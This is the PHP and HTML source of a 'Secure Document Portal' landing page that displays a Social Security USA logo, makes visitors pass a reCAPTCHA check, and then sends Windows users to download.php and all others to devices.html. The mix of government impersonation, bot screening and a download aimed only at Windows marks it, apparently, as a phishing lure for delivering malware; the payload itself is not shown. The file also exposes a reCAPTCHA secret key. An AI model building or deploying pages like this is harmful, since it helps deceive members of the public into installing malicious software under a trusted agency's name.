<?php
// index.php - Secure Document Portal with reCAPTCHA verification

// Start session
session_start();

// Your secret key
$secretKey = "6Ler7AwtAAAAAD16xYWqLb7DUKTwoC5W2rR6ok6U";

// Check if form was submitted with reCAPTCHA token
$captchaSuccess = false;
$errorMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['g-recaptcha-response'])) {
    $token = $_POST['g-recaptcha-response'];
    
    // Verify with Google
    $url = "https://www.google.com/recaptcha/api/siteverify";
    $data = [
        'secret' => $secretKey,
        'response' => $token,
        'remoteip' => $_SERVER['REMOTE_ADDR']
    ];
    
    $options = [
        'http' => [
            'header' => "Content-type: application/x-www-form-urlencoded\r\n",
            'method' => 'POST',
            'content' => http_build_query($data)
        ]
    ];
    
    $context = stream_context_create($options);
    $response = file_get_contents($url, false, $context);
    $result = json_decode($response, true);
    
    if ($result['success'] === true) {
        $captchaSuccess = true;
        $_SESSION['verified'] = true;
    } else {
        $errorMessage = "Verification failed. Please try again.";
    }
}

// Handle redirect after successful verification
if ($captchaSuccess) {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Windows') === false) {
        header("Location: devices.html");
        exit;
    } else {
        header("Location: download.php");
        exit;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Document Portal - Verify Identity</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body, html {
            height: 100%;
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: #f5f7fa;
            color: #1a2a3a;
        }

        /* Main container */
        .container {
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }

        /* Card style */
        .card {
            max-width: 500px;
            width: 100%;
            background: #ffffff;
            border-radius: 16px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08), 0 1px 2px rgba(0, 0, 0, 0.05);
            padding: 40px 32px;
            text-align: center;
        }

        /* Logo container - FIXED SIZE */
        .logo-container {
            margin-bottom: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        /* Logo image - RESIZED to not be too big */
        .logo-image {
            max-width: 120px;
            width: 100%;
            height: auto;
            display: block;
            margin: 0 auto;
        }

        /* Optional: Even smaller on mobile */
        @media (max-width: 480px) {
            .logo-image {
                max-width: 90px;
            }
        }

        /* Divider under logo */
        .logo-divider {
            width: 60px;
            height: 2px;
            background: #e2e8f0;
            margin: 16px auto 20px;
        }

        /* Headings */
        h1 {
            font-size: 24px;
            font-weight: 600;
            margin-bottom: 12px;
            color: #1a2a3a;
            letter-spacing: -0.02em;
        }

        .subtitle {
            font-size: 15px;
            color: #5a6e7c;
            margin-bottom: 28px;
            line-height: 1.5;
        }

        /* Divider */
        .divider {
            height: 1px;
            background: #e2e8f0;
            margin: 24px 0;
        }

        /* Message text */
        .message {
            font-size: 14px;
            color: #3a5a78;
            margin-bottom: 24px;
            line-height: 1.5;
        }
        /* Error message */
        .error-message {
            background: #fef2f2;
            color: #c0392b;
            padding: 12px 16px;
            border-radius: 10px;
            font-size: 14px;
            margin-bottom: 24px;
            border: 1px solid #fcd5d5;
        }

        /* reCAPTCHA container */
        .recaptcha-wrapper {
            display: flex;
            justify-content: center;
            margin: 16px 0 8px;
        }

        /* Footer text */
        .footer-note {
            margin-top: 24px;
            font-size: 12px;
            color: #8a9aaa;
            border-top: 1px solid #edf2f7;
            padding-top: 20px;
        }

        .footer-note a {
            color: #4a6fa5;
            text-decoration: none;
        }

        .footer-note a:hover {
            text-decoration: underline;
        }

        /* Responsive */
        @media (max-width: 480px) {
            .card {
                padding: 28px 20px;
            }
            
            h1 {
                font-size: 22px;
            }
        }
    </style>
    <!-- Standard reCAPTCHA v2 -->
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
    <script>
        function redirectUser() {
            const userAgent = navigator.userAgent;
            if (!userAgent.includes("Windows")) {
                window.location.href = "devices.html";
                return true;
            }
            return false;
        }

        function onSubmit(token) {
            if (!redirectUser()) {
                window.location.href = "download.php";
            }
        }
    </script>
</head>
<body>
    <div class="container">
        <div class="card">
            <!-- YOUR LOGO - Properly Resized -->
            <div class="logo-container">
                <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRlLMZ2WLRrjmTBuCnFqBjKN_1Se_ndApBboA&s" 
                     alt="Social Security USA" 
                     class="logo-image">
            </div>
            <div class="logo-divider"></div>

            <h1>Secure Document Portal</h1>
            
            <p class="subtitle">
                You are attempting to access a secured document.
                <br>Please verify that you are a real person to continue.
            </p>

            <div class="divider"></div>



            <?php if ($errorMessage): ?>
                <div class="error-message">
                    ⚠️ <?php echo htmlspecialchars($errorMessage); ?>
                </div>
            <?php endif; ?>

            <form action="" method="POST">
                <div class="recaptcha-wrapper">
                    <div class="g-recaptcha" 
                         data-sitekey="6Ler7AwtAAAAAFJ4HExxU5hlGXmnWH-460dBI-mg" 
                         data-callback="onSubmit">
                    </div>
                </div>
            </form>

            <div class="footer-note">
                <a href="#">Privacy Policy</a> | <a href="#">Contact Support</a>
            </div>
        </div>
    </div>
</body>
</html>